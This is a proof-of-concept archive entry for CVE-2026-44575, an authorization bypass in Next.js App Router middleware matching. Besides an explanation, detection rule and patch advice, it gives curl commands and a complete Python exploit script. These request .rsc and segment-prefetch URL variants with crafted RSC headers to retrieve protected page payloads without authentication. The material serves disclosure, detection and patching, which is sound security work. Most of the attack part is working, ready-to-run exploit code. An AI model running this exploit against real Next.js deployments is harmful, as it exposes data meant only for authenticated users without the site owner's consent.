PoC Archive PoC Archive
High CVE-2026-44575 patched

Next.js App Router Segment-Prefetch Middleware Bypass (CVE-2026-44575)

by dwisiswant0 · 2026-05-17

CVSS 7.5/10
Severity
High
CVE
CVE-2026-44575
Category
web
Affected product
Next.js App Router applications that rely on middleware.ts matchers to protect routes
Affected versions
15.2.0–15.5.15 and 16.0.0–16.2.4 (fixed in 15.5.16 / 16.2.5)
Disclosed
2026-05-17
Patch status
patched

Metadata

FieldValue
Date Added2026-05-17
Last Updated2026-05-09
Author / Researcherdwisiswant0
CVE / AdvisoryCVE-2026-44575
Categoryweb
SeverityHigh
CVSS Score7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
StatusWeaponized
Tagsauthorization-bypass, middleware-bypass, App-Router, segment-prefetch, RSC, Next.js, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemNext.js App Router applications that rely on middleware.ts matchers to protect routes
Versions Affected15.2.0–15.5.15 and 16.0.0–16.2.4 (fixed in 15.5.16 / 16.2.5)
Language / PlatformJavaScript / Node.js
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2026-44575 is an authorization bypass in Next.js App Router middleware matching. Vulnerable versions compile middleware matchers for canonical paths and legacy Pages Router data routes, but omit the App Router transport variants used for .rsc and segment-prefetch fetches. An unauthenticated attacker can request those alternate URL shapes for a protected page and receive the same page payload without the middleware auth check running.


Vulnerability Details

Root Cause

In vulnerable Next.js releases, getMiddlewareMatchers generated a matcher suffix that allowed only the canonical pathname and optional .json data-route form. The matcher did not include App Router transport suffixes such as <path>.rsc or <path>.segments/$c$children/__PAGE__.segment.rsc, even though the router still resolved those requests to the same logical page.

Attack Vector

An attacker sends a request for a protected App Router page using either the .rsc transport variant or the segment-prefetch variant, together with RSC/prefetch headers such as RSC: 1, Next-Router-Prefetch: 1, or Next-Router-Segment-Prefetch: /__PAGE__. Because the middleware matcher does not recognize the alternate URL shape, middleware is skipped while the App Router still renders the protected page payload.

Impact

Successful exploitation bypasses middleware-enforced authorization, locale, or feature-flag controls for protected App Router pages. The attacker can obtain the React Server Component payload for the page, which may expose server-rendered content, serialized props, internal links, and other sensitive data intended only for authenticated users.


Environment / Lab Setup

OS:          Linux/macOS/Windows
Target:      Next.js 15.2.0–15.5.15 or 16.0.0–16.2.4 App Router app with middleware-protected routes
Attacker:    Any host able to send crafted HTTP requests
Tools:       python3, bash, curl

Setup Steps

1
2
3
4
5
git clone https://github.com/dwisiswant0/next-16.2.4-pocs.git
cd next-16.2.4-pocs/poc/CVE-2026-44575_GHSA-267c-6grr-h53f

TARGET=http://localhost:3000 python3 exploit.py
TARGET=http://localhost:3000 bash exploit.sh

Proof of Concept

Step-by-Step Reproduction

  1. Request the canonical protected path and confirm middleware blocks or redirects it.

    1
    
    curl -i 'http://127.0.0.1:3000/dashboard'
    
  2. Fetch the .rsc transport variant with RSC/prefetch headers.

    1
    2
    3
    4
    5
    6
    
    curl -i \
      -H 'RSC: 1' \
      -H 'Next-Router-Prefetch: 1' \
      -H 'Next-Router-State-Tree: ["",{}]' \
      -H 'Accept: text/x-component' \
      'http://127.0.0.1:3000/dashboard.rsc'
    
  3. Fetch the segment-prefetch transport variant and compare the response.

    1
    2
    3
    4
    5
    
    curl -i \
      -H 'RSC: 1' \
      -H 'Next-Router-Segment-Prefetch: /__PAGE__' \
      -H 'Accept: text/x-component' \
      'http://127.0.0.1:3000/dashboard.segments/$c$children/__PAGE__.segment.rsc'
    

Exploit Code

See exploit.py and exploit.sh in this folder.

1
2
3
from exploit import main

main()

Expected Output

[1/4] Baseline — canonical path GET /dashboard
  HTTP 307
  location: /login?from=%2Fdashboard

[2/4] Bypass #1 — .rsc transport variant
  HTTP 200   content-type: text/x-component; charset=utf-8

[3/4] Bypass #2 — segment-prefetch transport variant
  HTTP 200   content-type: text/x-component; charset=utf-8

>>> RESULT: PASS (vulnerability reproduced) <<<

Screenshots / Evidence

  • screenshots/ — add request/response captures showing the canonical path redirect and successful .rsc / segment-prefetch responses

Detection & Indicators of Compromise

GET /dashboard.rsc HTTP/1.1
GET /dashboard.segments/$c$children/__PAGE__.segment.rsc HTTP/1.1
RSC: 1
Next-Router-Prefetch: 1
Next-Router-Segment-Prefetch: /__PAGE__

SIEM / IDS Rule (example):

alert http any any -> $HTTP_SERVERS any (
  msg:"Possible Next.js App Router middleware bypass attempt";
  content:".segment.rsc"; http_uri;
  content:"Next-Router-Segment-Prefetch|3a|"; http_header;
  sid:900044575; rev:1;
)

Remediation

ActionDetail
PatchUpgrade Next.js to 15.5.16+ or 16.2.5+
WorkaroundEnforce authorization inside the protected page/layout as well as middleware, and block .rsc / segment-prefetch transport URLs for sensitive routes at the reverse proxy or WAF
Config HardeningMonitor requests for App Router transport suffixes on protected paths and review middleware matcher coverage for non-canonical route variants

References


Notes

Auto-ingested from https://github.com/dwisiswant0/next-16.2.4-pocs on 2026-05-17.

Issue notes indicate no known active exploitation at time of reporting.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#!/usr/bin/env python3
# Disclaimer: For authorized security research and educational use only.
# Do not use this tool on systems you do not own or have explicit written
# permission to test.
"""
GHSA-267c-6grr-h53f — Middleware bypass via App Router segment-prefetch URLs
===========================================================================

Usage:  TARGET=http://localhost:3000 python3 exploit.py
        TARGET=http://localhost:3000 PROTECTED_PATH=/admin python3 exploit.py

Background
----------
Next.js compiles `matcher` config in middleware.ts into a regex that decides
whether middleware runs for a request. Up to v16.2.4 that regex covered only
the canonical path and the Pages-Router data variant (`.json`). It did NOT
cover the App-Router transport variants:
    *.rsc                                 (full-route prefetch)
    *.segments/$c$children/__PAGE__.segment.rsc   (segment-prefetch)
However the App Router still dispatches all of those URL shapes to the same
page handler — so requesting them returns the protected page's payload while
bypassing middleware entirely.
"""

import os
import sys
import urllib.request
import urllib.error

# ---- helpers ---------------------------------------------------------------

R, G, Y, B, N = "\033[0;31m", "\033[0;32m", "\033[1;33m", "\033[0;34m", "\033[0m"


def fetch(url, headers=None, timeout=15):
    """Fetch ``url`` with ``headers`` and return (status, headers_dict, body)."""
    headers = headers or {}
    req = urllib.request.Request(url, headers=headers, method="GET")
    # We do NOT follow redirects — the redirect is the security signal we
    # want to observe.
    opener = urllib.request.build_opener(NoRedirect())
    try:
        with opener.open(req, timeout=timeout) as resp:
            return resp.status, dict(resp.getheaders()), resp.read(4096)
    except urllib.error.HTTPError as e:
        return e.code, dict(e.headers), e.read(4096)
    except Exception as e:  # noqa: BLE001
        print(f"{R}  network error: {e}{N}")
        return 0, {}, b""


class NoRedirect(urllib.request.HTTPRedirectHandler):
    def redirect_request(self, *_a, **_kw):
        return None


def header(d, name):
    """Case-insensitive header lookup."""
    for k, v in d.items():
        if k.lower() == name.lower():
            return v
    return ""


# ---- main ------------------------------------------------------------------

def main():
    target = os.environ.get("TARGET", "http://localhost:3000").rstrip("/")
    protected = os.environ.get("PROTECTED_PATH", "/dashboard")

    print(f"{B}{'=' * 60}{N}")
    print(f"{B} GHSA-267c-6grr-h53f — segment-prefetch middleware bypass {N}")
    print(f"{B}{'=' * 60}{N}")
    print(f" Target         : {target}")
    print(f" Protected path : {protected}\n")

    # ---- step 1: baseline ------------------------------------------------
    print(f"{Y}[1/4] Baseline — canonical path GET {protected}{N}")
    base_code, base_h, _ = fetch(target + protected)
    print(f"  HTTP {base_code}   Location: {header(base_h, 'location') or '(none)'}")
    middleware_active = base_code in (301, 302, 303, 307, 308, 401, 403)
    if middleware_active:
        print(f"  {G}✓ Middleware appears to gate the canonical path{N}\n")
    else:
        print(f"  {Y}! Canonical path returned {base_code} — middleware may not "
              f"be enforcing.{N}\n")

    # ---- step 2: .rsc transport variant ----------------------------------
    print(f"{Y}[2/4] Bypass #1 — .rsc transport variant{N}")
    rsc_url = target + protected + ".rsc"
    print(f"  GET {protected}.rsc")
    rsc_code, rsc_h, rsc_body = fetch(rsc_url, headers={
        # Headers Next.js' own client sends for an RSC fetch:
        "RSC": "1",                                    # mark as RSC request
        "Next-Router-Prefetch": "1",                   # mark as prefetch
        "Next-Router-State-Tree": '["",{}]',           # minimal valid tree
        "Accept": "text/x-component",
    })
    rsc_ct = header(rsc_h, "content-type")
    print(f"  HTTP {rsc_code}   Content-Type: {rsc_ct}")
    if header(rsc_h, "location"):
        print(f"  Location: {header(rsc_h, 'location')}")
    print()

    # ---- step 3: .segments/.../.segment.rsc -----------------------------
    print(f"{Y}[3/4] Bypass #2 — segment-prefetch transport variant{N}")
    seg_path = protected + ".segments/$c$children/__PAGE__.segment.rsc"
    seg_url = target + seg_path
    print(f"  GET {seg_path}")
    seg_code, seg_h, seg_body = fetch(seg_url, headers={
        "RSC": "1",
        # The segment-prefetch header signals which subtree is requested.
        "Next-Router-Segment-Prefetch": "/__PAGE__",
        "Accept": "text/x-component",
    })
    seg_ct = header(seg_h, "content-type")
    print(f"  HTTP {seg_code}   Content-Type: {seg_ct}")
    if header(seg_h, "location"):
        print(f"  Location: {header(seg_h, 'location')}")
    print()

    # ---- step 4: verdict -------------------------------------------------
    print(f"{Y}[4/4] Verdict{N}")
    bypass = False
    if middleware_active:
        if rsc_code == 200 and "text/x-component" in rsc_ct:
            print(f"  {R}✗ VULNERABLE — .rsc variant returned the page payload"
                  f" without middleware intervention.{N}")
            bypass = True
        if seg_code == 200 and "text/x-component" in seg_ct:
            print(f"  {R}✗ VULNERABLE — segment-prefetch variant returned the"
                  f" page payload without middleware intervention.{N}")
            bypass = True

    if bypass:
        print(f"\n{R}>>> RESULT: PASS (vulnerability reproduced) <<<{N}")
        print("    Server is running Next.js ≤ v16.2.4 (matcher regex gap).")
        sys.exit(0)

    print(f"  {G}✓ PATCHED — transport variants were gated like the canonical"
          f" path.{N}")
    print(f"\n{G}>>> RESULT: FAIL (target appears patched ≥ v16.2.5) <<<{N}")
    sys.exit(1)


if __name__ == "__main__":
    main()